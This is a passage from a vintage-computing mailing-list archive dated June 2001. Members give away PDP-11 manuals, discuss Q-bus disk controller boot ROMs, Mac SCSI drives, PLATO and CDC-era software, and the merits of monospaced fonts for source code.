From oliv555 at arrl.net Fri Jun 1 00:05:29 2001 From: oliv555 at arrl.net (no) Date: Sun Feb 27 19:04:03 2005 Subject: dumping dec docs Message-ID: <3B172299.85EB0DD3@arrl.net> Just saved these PDP11 related docs from being dumped. 1st come, 1st served, you pay postage. Priority to individual requests, ie: anyone wanting "all of them" can have all that remain unclaimed after 24 hrs (Sat morning). Not wanting to offend anyone, just going from prior experience and my wish to fill as many individual "want" lists as possible. Please direct your requests off-list to oliv555@arrl.net. Thanks. - BM873-YA Restart loader Engineering Drawings (no cover sheet) - DLV11-J (M-8043) SLU Users Guide - FP11-B floating-point processor engineering drawings - KB11-A (11/45) CPU Maint. Manual - LPV11-V (M8027) Field Maint. Print Set - LP11 line printer manual - LP11/LS11/LA11 line printer manual - (5) MF11-u/up (core) Memory Engineering Drawings one set has the original cover, other 4 are missing cover - MS11-C bipolar memory (1k) engineering drawings - MS11-E Engineering drawings (M-7847) (missing cover) - PC04/PC05 paper-tape reader/punch maint manual - PDP 11/45 MS11 Semiconductor Memory Systems Maint. Manual - RK05-J Engineering drawings (no cover) - CR11 kit: CR11/CM11 card reader system manual CR11 card reader engineering drawings (missing cover) - LP05 kit: Dataproducts 2230 (LP05) Tech manual Dataproducts 2230 Logic Diagrams - RLxx kit: RL01/02 User Guide RL01/02 Technical Manual (prelim.) (in a 3-ring binder) - RT11 kit: Intro to RT11 (v03) RT11 System Generation Manual (v03b) RT11 System Release Notes (v03b) (in a 3-ring binder) I expect most will fall into the basic $3.50 USPS priority rate, a few may be a bit more. Enjoy :>) ..... nick o From feryl at bigpond.com.au Fri Jun 1 00:09:18 2001 From: feryl at bigpond.com.au (Cheryl O'Brien) Date: Sun Feb 27 19:04:05 2005 Subject: old date plz Message-ID: <001001c0ea59$03af8f80$cd1d8690@ibm901421n> Dear sir I,m write to you about a lap top computer,Taht i,ve found on a job site they where beening disgared so i kept one. But the poeblm with it is I get a (ple wait) come up then it go to (- ) then it run a driver then stop. I think the programs have been deleaded , i was wondering if i could get a restart programs for it could you help me the model is a Amstrad PPC640S portable personal computer . If you can help me i would be very happle. My email adress is austn29j@icqmail.com Anything to help would be good. from Rodney Thank you -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010601/d7683ed5/attachment.html From mikeford at socal.rr.com Fri Jun 1 02:09:11 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:05 2005 Subject: Apollo 735/50 in SoCal In-Reply-To: <3B16850D.6D7ACAE3@tiac.net> References: <527.550T1050T294239optimus@canit.se> <3B1462EE.587A482@tiac.net> <001901c0e857$b46cc580$21fe54a6@ibm23xhr06> Message-ID: UC Irvine surplus just had a big batch of Apollo computers show up, nasty feeding frenzy on the HP 4033A monitors, but a few 735/50's are left as well as HP 2094 monitors. Email me for details, and sorry but I don't really want to get too much in middle like packing and shipping big heavy things. If you are local or looking for a part, NOW is a good time to contact me. Next public day is Tuesday. From dpeschel at eskimo.com Fri Jun 1 04:46:38 2001 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 19:04:05 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator In-Reply-To: from "Douglas Quebbeman" at May 31, 2001 10:49:38 AM Message-ID: <200106010946.CAA28843@eskimo.com> > Hmmm.. Don't remember that, but I do remember Empire, > and some other Star Trek game... as well as the coolest > LISP and Pascal interpreter environments I ever used. Please elaborate! -- Derek (hoping for watchpoints or formatted display of the source code -- i.e., with italics or proportional spacing) From jss at ou.edu Fri Jun 1 07:08:26 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:05 2005 Subject: dumping dec docs In-Reply-To: <3B172299.85EB0DD3@arrl.net> References: <3B172299.85EB0DD3@arrl.net> Message-ID: <991397306.3b1785baa7c72@email.ou.edu> Quoting no : > Just saved these PDP11 related docs from being dumped. I would like the following: > - FP11-B floating-point processor engineering drawings > - KB11-A (11/45) CPU Maint. Manual > - PC04/PC05 paper-tape reader/punch maint manual > - RK05-J Engineering drawings (no cover) > - RLxx kit: RL01/02 User Guide > RL01/02 Technical Manual (prelim.) (in a 3-ring binder) > - RT11 kit: Intro to RT11 (v03) > RT11 System Generation Manual (v03b) > RT11 System Release Notes (v03b) (in a 3-ring binder) Since this more than one or two, it might be better to ship it all via UPS. What I can do is give my address and credit card info to the nearest (nearest to you) Mailboxes Etc., and all you would have to do is drop the books off there. Let me know what you would like to do. Thanks for the books! -- Jeffrey S. Sharp jss@ou.edu From dhquebbeman at theestopinalgroup.com Fri Jun 1 06:57:57 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:05 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151081@jeffserver.tegjeff.com> > > Hmmm.. Don't remember that, but I do remember Empire, > > and some other Star Trek game... as well as the coolest > > LISP and Pascal interpreter environments I ever used. > > Please elaborate! > > -- Derek (hoping for watchpoints or formatted display of > the source code -- i.e., with italics or proportional spacing) It *did* auto-format the code... but as these were the earliest examples of what I think was incremental compiler technology, you'd be typing the source text, and when you committed a syntax error, the offending element was highlighted by a dashed-lined circle, and further entry stopped until you corrected your mistake. I only got to spend a couple of months on PLATO. But a team at Northwestern University liked PLATO enough but was bummed about the cost of the special terminals that the developed a CDC subsystem called MultiTutor, which ran the Tutor IV language (and thus you could port PLATO programs to it), but worked not only with the PLATO terminals, but with any kind of terminal that offerred at least cursor control codes. MultiTutor's coolest feature was the first example of what we'd now call a chat room. Instead of a scrolling display with lines of user-typed text prefixed by a username, you got a display segmented into channels, each of which was occupied by a user. What that user typed appeared in that channel on the screen. It was thus limited in the number of users it could support, but it was easier (IMHO) to follow a multiperson conversation. When I came to UN*Xen finally, I tried NTalk and YTalk for a while, but IRC has just never worked for me... I always want to go back to that MultiTutor chat room... Regards, -dq From cmurillo at emtelsa.multi.net.co Fri Jun 1 07:07:08 2001 From: cmurillo at emtelsa.multi.net.co (Carlos Murillo) Date: Sun Feb 27 19:04:05 2005 Subject: Apollo 735/50 in SoCal In-Reply-To: References: <3B16850D.6D7ACAE3@tiac.net> <527.550T1050T294239optimus@canit.se> <3B1462EE.587A482@tiac.net> <001901c0e857$b46cc580$21fe54a6@ibm23xhr06> Message-ID: <3.0.2.32.20010601080708.00f9e420@obregon.multi.net.co> At 12:09 AM 6/1/01 -0700, you wrote: >UC Irvine surplus just had a big batch of Apollo computers show up, nasty >feeding frenzy on the HP 4033A monitors, ^^^^^^^^^ nice. I have one, but I would like more. > but a few 735/50's are left as well as HP 2094 monitors. The A2094 are nice too, but fixed freq. and heavy; they have trinitron tubes. However, I think that what you are describing as "HP735/50" are actually "715/50"; the 735 came in 99 and 125MHz varieties only. Still, the 715's are ok. carlos. -------------------------------------------------------------- Carlos E. Murillo-Sanchez carlos_murillo@nospammers.ieee.org From cmcmanis at mcmanis.com Fri Jun 1 08:34:03 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:08 2005 Subject: booting from RQDX3 In-Reply-To: <002e01c0e9ae$1643d760$21fe54a6@ibm23xhr06> References: <00a401c0e9ce$f8f1b9e0$1e4099a1@rcs.ra.rockwell.com> <3B1693BD.34DAE14@idirect.com> Message-ID: <5.0.0.25.2.20010601063239.03065740@208.226.86.10> At 04:45 AM 5/31/01 -0400, John A. wrote: >Are you then saying that adding a disk controller card always >requires adding a matching boot (E(P(ROM))? ('Duuh' -JEA) >John A. Yup, this is why third party disk controllers always include a 'boot rom' option. I happen to prefer the RQ11D series (or Webster) boards for 11's since not only will they chop up biggger drives to look like smaller drives but they include a bootstrap on board. --Chuck From jfoust at threedee.com Fri Jun 1 09:07:10 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:08 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151081@jeffserver.tegjeff. com> Message-ID: <4.3.2.7.0.20010601081856.01eb0440@pc> At 07:57 AM 6/1/01 -0400, Douglas Quebbeman wrote: >> > Hmmm.. Don't remember that, but I do remember Empire, >> > and some other Star Trek game... as well as the coolest >> > LISP and Pascal interpreter environments I ever used. > >It *did* auto-format the code... but as these were the earliest >examples of what I think was incremental compiler technology, >you'd be typing the source text, and when you committed a syntax >error, the offending element was highlighted by a dashed-lined >circle, and further entry stopped until you corrected your >mistake. This sounds like the Cornell Program Synthesizer developed by long-time Cornell professor Tim Teitelbaum. It was used to teach Pascal to tens of thousands of students at several large universities in the early 80s, on Teraks and perhaps other computers. I think he gets the credit for developing the first practical language-sensitive editor, the progenitor of most IDEs out there today. - John From CARL.P.HIRSCH at sargentlundy.com Fri Jun 1 10:11:15 2001 From: CARL.P.HIRSCH at sargentlundy.com (CARL.P.HIRSCH@sargentlundy.com) Date: Sun Feb 27 19:04:08 2005 Subject: SCSI or Voodoo? Message-ID: Well, since the Mac Quadra 700 is of 91 vintage, it looks like I can ask questions about it... I found this on teamexcess.com - ST15150N Seagate 3.5" 4.3GB 1.6" Half Height SCSI H-ST-15150N Narrow 50-pin Assuming the jumpers are set correctly, should this work internally in a Quadra 700? thanks, -carl hirsch From lemay at cs.umn.edu Fri Jun 1 10:47:11 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:08 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator In-Reply-To: <200106010946.CAA28843@eskimo.com> "from Derek Peschel at Jun 1, 2001 02:46:38 am" Message-ID: <200106011547.KAA28727@caesar.cs.umn.edu> > > Hmmm.. Don't remember that, but I do remember Empire, > > and some other Star Trek game... as well as the coolest > > LISP and Pascal interpreter environments I ever used. > > Please elaborate! > The cool games mainly came out of Minnesota, especially from the state high school cyber mainframe (MECC, Minnesota Educational Computer Consortium). Empire, Sceptre of Goth, many combat games, etc, etc. On the University cybers, we had Karnath, and other similar multi-user mazes of monsters. And of course if you could wrangle access to the real CDC systems downtown at the corporate headquarters, you could play Avatar. The university wrote some really nice compilers. MNF (Minnesota Fortran) and a really nice Pascal compiler, both with Post-Mortem Dump facilties that made debugging code very easy. When the program aborted, it would print a table explaining what function/subroutine name it aborted on, what line number, and a printout of variable names and values. If i recall, it would also print the source code line as well. The Pascal came with a very extensive set of library routines, I even convinced em to add some functions to allow me to properly manipulate direct-access files for a communication system I wrote for a game i never completed, though it was later added to someone elses game. -Lawrence LeMay From foo at siconic.com Fri Jun 1 10:29:51 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:08 2005 Subject: Altair 8800 front panel lamps In-Reply-To: <654.552T1050T1094747optimus@canit.se> Message-ID: On 1 Jun 2001, Iggy Drougge wrote: > Actually, I'd wholeheartedly recommend that book. It's really > interesting and written in a compelling way. It doesn't really shy > away from computer terms as popular books often might. Iggy, why am I not surprised you would like this book? Really, it's a poorly researched book. If you want to read good fiction, get a copy of Huckleberry Finn. If you want a good book on computer history with factual information, there are plenty of others to choose from. I recommend: Fire in the Valley (Freiberger/Swaine) Hackers (Levy) The Naked Computer (Rochester/Gantz) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jhellige at earthlink.net Fri Jun 1 11:39:51 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:08 2005 Subject: SCSI or Voodoo? Message-ID: <01Jun1.123910edt.119044@gateway.mediacen.navy.mil> >Well, since the Mac Quadra 700 is of 91 vintage, it looks like I can ask >questions about it... >I found this on teamexcess.com - > ST15150N Seagate 3.5" 4.3GB 1.6" Half Height SCSI H-ST-15150N > Narrow 50-pin >Assuming the jumpers are set correctly, should this work internally in a >Quadra 700? Assuming that the listing is correct and that it is a 50pin narrow SCSI drive, it should work fine on the Quadra. Jeff From jss at ou.edu Fri Jun 1 11:48:01 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:08 2005 Subject: Offered: classic manuals In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151065@jeffserver.tegjeff.com> References: <7A9BACCEF0171D4FB77019F5104CDD37151065@jeffserver.tegjeff.com> Message-ID: <991414081.3b17c741243c8@email.ou.edu> Quoting Douglas Quebbeman : > > Quoting "r. 'bear' stricklin" : > > > - TRS-80 Level II BASIC Reference Manual. 2nd ed. 1979. ca. > > > If he doesn't let go of it, get back to me, I think that's the > trash-80 book I pulled off a garbage pile a few years back. It > won't be in pristine condition, of course. It looks like he's going to give it to me. I will keep you in mind just in case he does not. Thanks! -- Jeffrey S. Sharp jss@ou.edu From marvin at rain.org Fri Jun 1 11:55:15 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:08 2005 Subject: Altair 8800 front panel lamps References: Message-ID: <3B17C8F3.C30528B8@rain.org> Sellam Ismail wrote: > I recommend: > > Fire in the Valley (Freiberger/Swaine) > Hackers (Levy) > The Naked Computer (Rochester/Gantz) I found Fire in the Valley on ABE at http://dogbert.abebooks.com/abe/BookSearch for $6.00 plus postage. A most interesting book! Some of these books are getting a bit harder to find on the streets. From cisin at xenosoft.com Fri Jun 1 11:56:25 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:08 2005 Subject: HTML source code?? (was: Call for Resources for CDC 6000/Cyber 70 Series Emulator In-Reply-To: <200106010946.CAA28843@eskimo.com> Message-ID: > -- Derek (hoping for watchpoints or formatted display of > the source code -- i.e., with italics or proportional spacing) Certain styling of formatted source code could be really nice. But IMAGINE the abuses! It could be as bad as the introduction of HTML to e-mail. Italics, bold-face, even different sizes of fonts could be useful. BUT, ... it was well more than 20 years ago (in computer magazines), that people found out what a DISASTER proportional spacing is for source code. ("How many spaces do there need to be there?" Am I the only one here who is old enough to remember how bad that was? -- Grumpy Ol' Fred cisin@xenosoft.com From allain at panix.com Fri Jun 1 12:02:02 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:08 2005 Subject: booting from RQDX3 References: <00a401c0e9ce$f8f1b9e0$1e4099a1@rcs.ra.rockwell.com><3B1693BD.34DAE14@idirect.com> <5.0.0.25.2.20010601063239.03065740@208.226.86.10> Message-ID: <013d01c0eabc$b19ecee0$8a0101ac@ibm23xhr06> >Yup, this is why third party disk controllers always include a > 'boot rom' option. The sound I was looking for: ROM on card itself. Now: How common? Is this saying that DEC controllers will force moving the ROM out to the bus term card as a seperate FRU? And is it really always controller card resident for the 3rd partiers? John A. From John.Honniball at uwe.ac.uk Fri Jun 1 12:05:42 2001 From: John.Honniball at uwe.ac.uk (John Honniball) Date: Sun Feb 27 19:04:08 2005 Subject: Altair 8800 front panel lamps In-Reply-To: <3B17C8F3.C30528B8@rain.org> Message-ID: On Fri, 01 Jun 2001 09:55:15 -0700 Marvin wrote: > Sellam Ismail wrote: > > I recommend: > > Fire in the Valley (Freiberger/Swaine) > > Hackers (Levy) > > The Naked Computer (Rochester/Gantz) > > I found Fire in the Valley on ABE at > http://dogbert.abebooks.com/abe/BookSearch for $6.00 plus postage. A most > interesting book! Some of these books are getting a bit harder to find on > the streets. Don't forget that there's a second edition of Fire In The Valley, which was published in the last couple of years. I lent my first edition to someone, and lost touch with them. I now have a second edition, which includes a chapter on the Web and the "browser wars", as well as some mention of newer companies such as Sun Microsystems. And I found a copy of "Hackers" at a charity shop (thrift store) just a few weeks ago. BTW, thanks for sorting out the "neon bulbs" issue. Seems I was right to doubt the text there! -- John Honniball Email: John.Honniball@uwe.ac.uk University of the West of England From ard at p850ug1.demon.co.uk Fri Jun 1 12:20:26 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:08 2005 Subject: old date plz In-Reply-To: <001001c0ea59$03af8f80$cd1d8690@ibm901421n> from "Cheryl O'Brien" at Jun 1, 1 03:09:18 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 845 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010601/64e622a4/attachment.ksh From bpope at wordstock.com Fri Jun 1 12:30:42 2001 From: bpope at wordstock.com (Bryan Pope) Date: Sun Feb 27 19:04:08 2005 Subject: HTML source code?? (was: Call for Resources for CDC 6000/Cyber 70 In-Reply-To: from "Fred Cisin" at Jun 1, 01 09:56:25 am Message-ID: <200106011730.NAA13751@wordstock.com> > > Certain styling of formatted source code could be really nice. > > But IMAGINE the abuses! It could be as bad as the introduction of HTML to > e-mail. > > Italics, bold-face, even different sizes of fonts could be useful. > BUT, ... it was well more than 20 years ago (in computer magazines), that > people found out what a DISASTER proportional spacing is for source code. > ("How many spaces do there need to be there?" > Am I the only one here who is old enough to remember how bad that was? > Repeat after me: Proportional spacing BAD, Monospacing GOOD! At this rate, people are going to forget what ASCII is... Bryan P.S. My new slogan: "Keep proportional fonts out of our source code!" From gregorym at cadvision.com Fri Jun 1 11:36:48 2001 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 19:04:08 2005 Subject: HTML source code?? (was: Call for Resources for CDC 6000/Cyber 70 Series Emulator References: Message-ID: <008201c0eab9$12c31cc0$0200a8c0@marvin> ----- Original Message ----- From: "Fred Cisin (XenoSoft)" To: Sent: Friday, June 01, 2001 10:56 AM Subject: HTML source code?? (was: Call for Resources for CDC 6000/Cyber 70 Series Emulator > > -- Derek (hoping for watchpoints or formatted display of > > the source code -- i.e., with italics or proportional spacing) > > Certain styling of formatted source code could be really nice. > > But IMAGINE the abuses! It could be as bad as the introduction of HTML to > e-mail. > > Italics, bold-face, even different sizes of fonts could be useful. > BUT, ... it was well more than 20 years ago (in computer magazines), that > people found out what a DISASTER proportional spacing is for source code. > ("How many spaces do there need to be there?" > Am I the only one here who is old enough to remember how bad that was? > My favourite format for source code listings was the one adopted by Home Computer Magazine (formerly 99'er) shortly before they folded. It featured a nice, dark fixed font, listings for each program were continuous (not split into dozens of fragments throughout the magazine), and there were faint background lines showing the columns - very nice for counting spaces. I never saw another magazine that had anything remotely as nice. Cheers, Mark (whose eyesight has never fully recovered from typing in tiny, blurred listings 20 years ago). From cmcmanis at mcmanis.com Fri Jun 1 12:40:26 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:08 2005 Subject: booting from RQDX3 References: <00a401c0e9ce$f8f1b9e0$1e4099a1@rcs.ra.rockwell.com><3B1693BD.34DAE14@idirect.com> <5.0.0.25.2.20010601063239.03065740@208.226.86.10> <013d01c0eabc$b19ecee0$8a0101ac@ibm23xhr06> Message-ID: <3B17D38A.F08EA05E@mcmanis.com> So far I have never seen a third party Q-bus disk interface card that did _not_ include a PDP-11 boot rom. I'm sure they exist but they weren't made by the 'name' brands (CMD, Dilog, Emulex, etc) The funny thing is that the boot may consist of four 64 x 4 TTL ROMs which look like any other chip. --Chuck P.S. Does anyone know if you can convert a CMD CQD200/T into a CQD200/TM ? I like that it can talk nice to my exabyte but it would be even nicer if it could talk nice to my disks too :-) John Allain wrote: > >Yup, this is why third party disk controllers always include a > > 'boot rom' option. > > The sound I was looking for: ROM on card itself. > Now: How common? > > Is this saying that DEC controllers will force moving the ROM > out to the bus term card as a seperate FRU? And is it really > always controller card resident for the 3rd partiers? > > John A. From dhquebbeman at theestopinalgroup.com Fri Jun 1 12:35:28 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:08 2005 Subject: SCSI or Voodoo? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151088@jeffserver.tegjeff.com> > >Well, since the Mac Quadra 700 is of 91 vintage, it looks > like I can ask questions about it... > >I found this on teamexcess.com - > > ST15150N Seagate 3.5" 4.3GB 1.6" Half Height SCSI H-ST-15150N > > Narrow 50-pin > >Assuming the jumpers are set correctly, should this work > internally in a Quadra 700? > > Assuming that the listing is correct and that it is a > 50pin narrow SCSI drive, it should work fine on the Quadra. However... I *think* you'll need OS 8.1 or later to format a drive that large as a single volume. Formatted as two 2GB partitioned, you should have no trouble using older Mac OS's. Regards, -dq From gessler at ucla.edu Fri Jun 1 12:48:56 2001 From: gessler at ucla.edu (Nick Gessler) Date: Sun Feb 27 19:04:08 2005 Subject: Any Tektronix 4051, 5042, 4054, or 4662s or IBM 5100s out there? In-Reply-To: References: <036501c0ea10$8e477d40$1e4099a1@rcs.ra.rockwell.com> Message-ID: <5.0.2.1.0.20010601104704.02041e80@pop.bol.ucla.edu> Hi, Does anyone have any Tektronix 4051, 5042, 4054, or 4662s cluttering up their garage or storerooms? If so, I'd be interested in hearing from you. Please reply off line. Thanks, Nick From cisin at xenosoft.com Fri Jun 1 12:45:30 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:08 2005 Subject: HTML source code?? (was: Call for Resources for CDC In-Reply-To: <200106011730.NAA13751@wordstock.com> Message-ID: On Fri, 1 Jun 2001, Bryan Pope wrote: > > people found out what a DISASTER proportional spacing is for source code. > > ("How many spaces do there need to be there?" > > Am I the only one here who is old enough to remember how bad that was? > > > Repeat after me: Proportional spacing BAD, Monospacing GOOD! At this rate, > people are going to forget what ASCII is... > Bryan > P.S. My new slogan: "Keep proportional fonts out of our source code!" With a sufficiently smart editor, I could accept the concept of letting some COMMENTS be proportionately spaced. But keep them out of the code itself. BTW, I also think that it is a really stupid idea to have the editor refuse to let you continue until you fix an error. "Let me finish typing! I'm on a roll! I PROMISE that I'll go back and fix those typos before I compile!" -- Grumpy Ol' Fred cisin@xenosoft.com From cisin at xenosoft.com Fri Jun 1 12:52:05 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:08 2005 Subject: HTML source code?? (was: Call for Resources for CDC In-Reply-To: <008201c0eab9$12c31cc0$0200a8c0@marvin> Message-ID: > My favourite format for source code listings was the one adopted by Home > Computer Magazine (formerly 99'er) shortly before they folded. It featured > a nice, dark fixed font, listings for each program were continuous (not > split into dozens of fragments throughout the magazine), and there were > faint background lines showing the columns - very nice for counting spaces. > I never saw another magazine that had anything remotely as nice. Nice > Cheers, > Mark (whose eyesight has never fully recovered from typing in tiny, blurred > listings 20 years ago). Aha! It must be proportional fonts in source code that have caused my eyes to not be as good as they were when I was 20! OB_CC_Trivia: 1) Was the font of the IBM PC with or without serifs? (90% answer incorrectly) 2) What was the primary complaint (other than not being enabled) about the lower case in the original models of the TRS-80? -- Grumpy Ol' Fred cisin@xenosoft.com From liste at artware.qc.ca Fri Jun 1 13:08:46 2001 From: liste at artware.qc.ca (liste@artware.qc.ca) Date: Sun Feb 27 19:04:08 2005 Subject: HTML source code?? (was: Call for Resources for CDC In-Reply-To: Message-ID: On 01-Jun-2001 Fred Cisin (XenoSoft) wrote: > OB_CC_Trivia: 1) Was the font of the IBM PC with or without serifs? > (90% answer incorrectly) Oooo... my first instict would be "with serifs", but then when I check on a recent PC-clone, I note that only some letters have serifs and many don't. Of course, if you mean the *original* IBM PC, well, I haven't used one I a very long time... From ip500 at home.com Fri Jun 1 13:17:10 2001 From: ip500 at home.com (Craig Smith) Date: Sun Feb 27 19:04:08 2005 Subject: Any Tektronix 4051, 5042, 4054, or 4662s or IBM 5100s outthere? References: <036501c0ea10$8e477d40$1e4099a1@rcs.ra.rockwell.com> <5.0.2.1.0.20010601104704.02041e80@pop.bol.ucla.edu> Message-ID: <3B17DC26.C4317AD3@home.com> I had a call the other day ... a local guy [Roanoke, VA] has a few Tek 4115B systems for sale cheap ... what's the difference between them and are they worth "cluttering up" my storage area with. He indicated they were large & heavy!! Regards, Craig Nick Gessler wrote: > > Hi, > > Does anyone have any Tektronix 4051, 5042, 4054, or 4662s cluttering up > their garage or storerooms? > If so, I'd be interested in hearing from you. > Please reply off line. > > Thanks, > Nick From ard at p850ug1.demon.co.uk Fri Jun 1 12:51:01 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:08 2005 Subject: HTML source code?? (was: Call for Resources for CDC 6000/Cyber 70 In-Reply-To: from "Fred Cisin" at Jun 1, 1 09:56:25 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 503 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010601/8f152f62/attachment.ksh From oliv555 at arrl.net Fri Jun 1 13:29:54 2001 From: oliv555 at arrl.net (no) Date: Sun Feb 27 19:04:08 2005 Subject: dumping dec docs References: <3B172299.85EB0DD3@arrl.net> Message-ID: <3B17DF22.835850AC@arrl.net> Wow, got an avalanche of requests for these. All have now been claimed. Thanks to all who replied, wish there had been more available - nick oliviero From CARL.P.HIRSCH at sargentlundy.com Fri Jun 1 13:25:31 2001 From: CARL.P.HIRSCH at sargentlundy.com (CARL.P.HIRSCH@sargentlundy.com) Date: Sun Feb 27 19:04:08 2005 Subject: SCSI or Voodoo? Message-ID: That's okay, only 50 meg is going to be Mac OS... everything else will be A/UX partitions for NetBSD! ;) thanks, -carl Douglas Quebbeman Sent by: cc: owner-classiccmp@classicc Subject: RE: SCSI or Voodoo? mp.org 06/01/01 12:35 PM Please respond to classiccmp > Assuming that the listing is correct and that it is a > 50pin narrow SCSI drive, it should work fine on the Quadra. However... I *think* you'll need OS 8.1 or later to format a drive that large as a single volume. Formatted as two 2GB partitioned, you should have no trouble using older Mac OS's. Regards, -dq From engdahl at cle.ab.com Fri Jun 1 13:45:37 2001 From: engdahl at cle.ab.com (Jonathan Engdahl) Date: Sun Feb 27 19:04:08 2005 Subject: booting from RQDX3 References: <00a401c0e9ce$f8f1b9e0$1e4099a1@rcs.ra.rockwell.com><3B1693BD.34DAE14@idirect.com> <5.0.0.25.2.20010601063239.03065740@208.226.86.10> <013d01c0eabc$b19ecee0$8a0101ac@ibm23xhr06> <3B17D38A.F08EA05E@mcmanis.com> Message-ID: <037f01c0eacb$0d00f0c0$1e4099a1@rcs.ra.rockwell.com> Putting a ROM on the disk controller at 173000 is the usual way of doing it, but here's a slick alternative that is used on the DSD 4140 floppy controller: There is no ROM onboard other than the microcode for the AMD 2901 (one 4-bit slice!), but there is a single register mapped onto the Qbus at 173000. If the PDP-11 jumps there, the controller gives back a jump-to-self opcode. While the PDP-11 is busy chewing on that, the 2901 sees what has happened and copies sector zero from the floppy to address zero via DMA, then it changes the contents of 173000 to "CLR PC", which causes the PDP-11 to execute the boot code. So just because you don't see ROMS doesn't meant the board can't boot. -- Jonathan Engdahl Rockwell Automation Principal Research Engineer 24800 Tungsten Road Advanced Technology Euclid, OH 44117 USA Euclid Labs http://users.safeaccess.com/engdahl From mwp at acm.org Fri Jun 1 13:46:15 2001 From: mwp at acm.org (Michael Passer) Date: Sun Feb 27 19:04:08 2005 Subject: HTML source code?? (was: Call for Resources for CDC References: Message-ID: <002201c0eacb$23840850$8e8fc186@umkcpi> 2) no descenders? --Mike ----- Original Message ----- From: "Fred Cisin (XenoSoft)" To: Sent: Friday, June 01, 2001 12:52 PM Subject: Re: HTML source code?? (was: Call for Resources for CDC > > My favourite format for source code listings was the one adopted by Home > > Computer Magazine (formerly 99'er) shortly before they folded. It featured > > a nice, dark fixed font, listings for each program were continuous (not > > split into dozens of fragments throughout the magazine), and there were > > faint background lines showing the columns - very nice for counting spaces. > > I never saw another magazine that had anything remotely as nice. > > Nice > > > Cheers, > > Mark (whose eyesight has never fully recovered from typing in tiny, blurred > > listings 20 years ago). > > Aha! It must be proportional fonts in source code that have caused my > eyes to not be as good as they were when I was 20! > > > OB_CC_Trivia: 1) Was the font of the IBM PC with or without serifs? (90% > answer incorrectly) > 2) What was the primary complaint (other than not being enabled) about > the lower case in the original models of the TRS-80? > > -- > Grumpy Ol' Fred cisin@xenosoft.com > From bill at cs.scranton.edu Fri Jun 1 13:55:07 2001 From: bill at cs.scranton.edu (Bill Gunshannon) Date: Sun Feb 27 19:04:08 2005 Subject: HTML source code?? (was: Call for Resources for CDC 6000/Cyber 70 Series Emulator In-Reply-To: Message-ID: On Fri, 1 Jun 2001, Fred Cisin (XenoSoft) wrote: > BUT, ... it was well more than 20 years ago (in computer magazines), that > people found out what a DISASTER proportional spacing is for source code. > ("How many spaces do there need to be there?" > Am I the only one here who is old enough to remember how bad that was? No. bill -- Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves bill@cs.scranton.edu | and a sheep voting on what's for dinner. University of Scranton | Scranton, Pennsylvania | #include From peter at joules.org Fri Jun 1 15:13:36 2001 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 19:04:08 2005 Subject: OT Iridium (Was: Re: classiccmp-digest V1 #615) In-Reply-To: <036501c0ea10$8e477d40$1e4099a1@rcs.ra.rockwell.com> References: <036501c0ea10$8e477d40$1e4099a1@rcs.ra.rockwell.com> Message-ID: <01060121145200.32061@pluto.joules.org> On Thu, 31 May 2001, you wrote: > Facts about Iridium: > 3: but the best part about Iridium, the part to really get excited about, is > "Iridium flares". Do a web search on that term. www.heavens-above.com Not only Iridium flares, but all other visible satellites. -- Regards Pete From pete at dunnington.u-net.com Fri Jun 1 14:55:13 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:08 2005 Subject: booting from RQDX3 In-Reply-To: "John Allain" "Re: booting from RQDX3" (Jun 1, 13:02) References: <00a401c0e9ce$f8f1b9e0$1e4099a1@rcs.ra.rockwell.com> <3B1693BD.34DAE14@idirect.com> <5.0.0.25.2.20010601063239.03065740@208.226.86.10> <013d01c0eabc$b19ecee0$8a0101ac@ibm23xhr06> Message-ID: <10106012055.ZM11429@indy.dunnington.u-net.com> On Jun 1, 13:02, John Allain wrote: > >Yup, this is why third party disk controllers always include a > > 'boot rom' option. > > The sound I was looking for: ROM on card itself. > Now: How common? For third-party controllers, extremely common. For DEC controllers, 